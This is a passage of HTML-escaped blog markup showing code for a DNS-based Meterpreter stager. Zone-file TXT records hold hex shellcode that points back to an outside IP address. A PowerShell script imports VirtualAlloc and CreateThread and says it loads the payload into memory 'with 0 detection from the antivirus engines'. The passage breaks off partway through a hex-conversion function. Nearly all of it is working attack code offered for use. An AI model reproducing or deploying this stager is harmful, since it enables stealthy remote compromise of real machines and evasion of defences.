border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt; f.deventum.com.          IN TXT  &quot;,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x5a,0x62,0x69,0x37,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt; g.deventum.com.          IN TXT  &quot;,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt; h.deventum.com.          IN TXT  &quot;,0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;and finally the powershell script to call the records:&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;&amp;lt;&lt;/span&gt;#&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; Powershell for DNS based meterpreter payload &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; This script will load in memory the first stage of metasploit meterpreter that exists in txt record .&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt; The second stage will be transferred and executed in memory with 0 detection from the antivirus engines.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; Author: Nicolas Krassas&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt; Inspired by corelanc0d3r dns based shellcode and Matthew Graeber&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt; #&lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt; # Functions for creating a thread&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum10&quot;&gt;  10:&lt;/span&gt; $code = @&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum11&quot;&gt;  11:&lt;/span&gt; [DllImport(&quot;kernel32.dll&quot;)]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum12&quot;&gt;  12:&lt;/span&gt; public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum13&quot;&gt;  13:&lt;/span&gt; [DllImport(&quot;kernel32.dll&quot;)]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum14&quot;&gt;  14:&lt;/span&gt; public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum15&quot;&gt;  15:&lt;/span&gt; [DllImport(&quot;msvcrt.dll&quot;)]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum16&quot;&gt;  16:&lt;/span&gt; public static extern IntPtr memset(IntPtr dest, uint src, uint count);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum17&quot;&gt;  17:&lt;/span&gt; &quot;@&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum18&quot;&gt;  18:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum19&quot;&gt;  19:&lt;/span&gt; function Convert-HexStringToByteArray {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum20&quot;&gt;  20:&lt;/span&gt; ################################################################&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum21&quot;&gt;  21:&lt;/span&gt; #.Synopsis&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum22&quot;&gt;  22:&lt;/span&gt; # Convert a string of hex data into a System.Byte[] array. An&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum23&quot;&gt;  23:&lt;/span&gt; # array is always returned, even if it contains only one byte.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum24&quot;&gt;  24:&lt;/span&gt; #.Parameter String&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum25&quot;&gt;  25:&lt;/span&gt; # A string containing hex data in any of a variety of formats,&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum26&quot;&gt;  26:&lt;/span&gt; # including strings like the following, with or without extra&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum27&quot;&gt;  27:&lt;/span&gt; # tabs, spaces, quotes or other non-hex characters:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum28&quot;&gt;  28:&lt;/span&gt; # 0x41,0x42,0x43,0x44&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum29&quot;&gt;  29:&lt;/span&gt; # \x41\x42\x43\x44&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum30&quot;&gt;  30:&lt;/span&gt; # 41-42-43-44&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum31&quot;&gt;  31:&lt;/span&gt; # 41424344&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum32&quot;&gt;  32:&lt;/span&gt; # The string can be piped into the function too.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum33&quot;&gt;  33:&lt;/span&gt; # http://www.sans.org/windows-security/2010/02/11/powershell-byte-array-hex-convert&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum34&quot;&gt;  34:&lt;/span&gt; ################################################################&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum35&quot;&gt;  35:&lt;/span&gt; [CmdletBinding()]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum36&quot;&gt;  36:&lt;/span&gt; Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [String] $String )&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum37&quot;&gt;  37:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum38&quot;&gt;  38:&lt;/span&gt; #Clean out whitespaces and any other non-hex crud.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum39&quot;&gt;  39:&lt;/span&gt; $String = $String.ToLower() -replace &#39;[^a-f0-9\\\,x\-\:]&#39;,&#39;&#39;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum40&quot;&gt;  40:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum41&quot;&gt;  41:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum42&quot;&gt;  42:&lt;/span&gt; #Try to put into canonical colon-delimited format.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum43&quot;&gt;  43:&lt;/span&gt; $String = $String -replace &#39;0x|\\x|\-|,&#39;,&#39;:&#39;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum44&quot;&gt;  44:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum45&quot;&gt;  45:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum46&quot;&gt;  46:&lt;/span&gt; #Remove beginning and ending colons, and other detritus.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum47&quot;&gt;  47:&lt;/span&gt; $String = $String -replace &#39;^:+|:+$|x|\\&#39;,&#39;&#39;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum48&quot;&gt;  48:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre 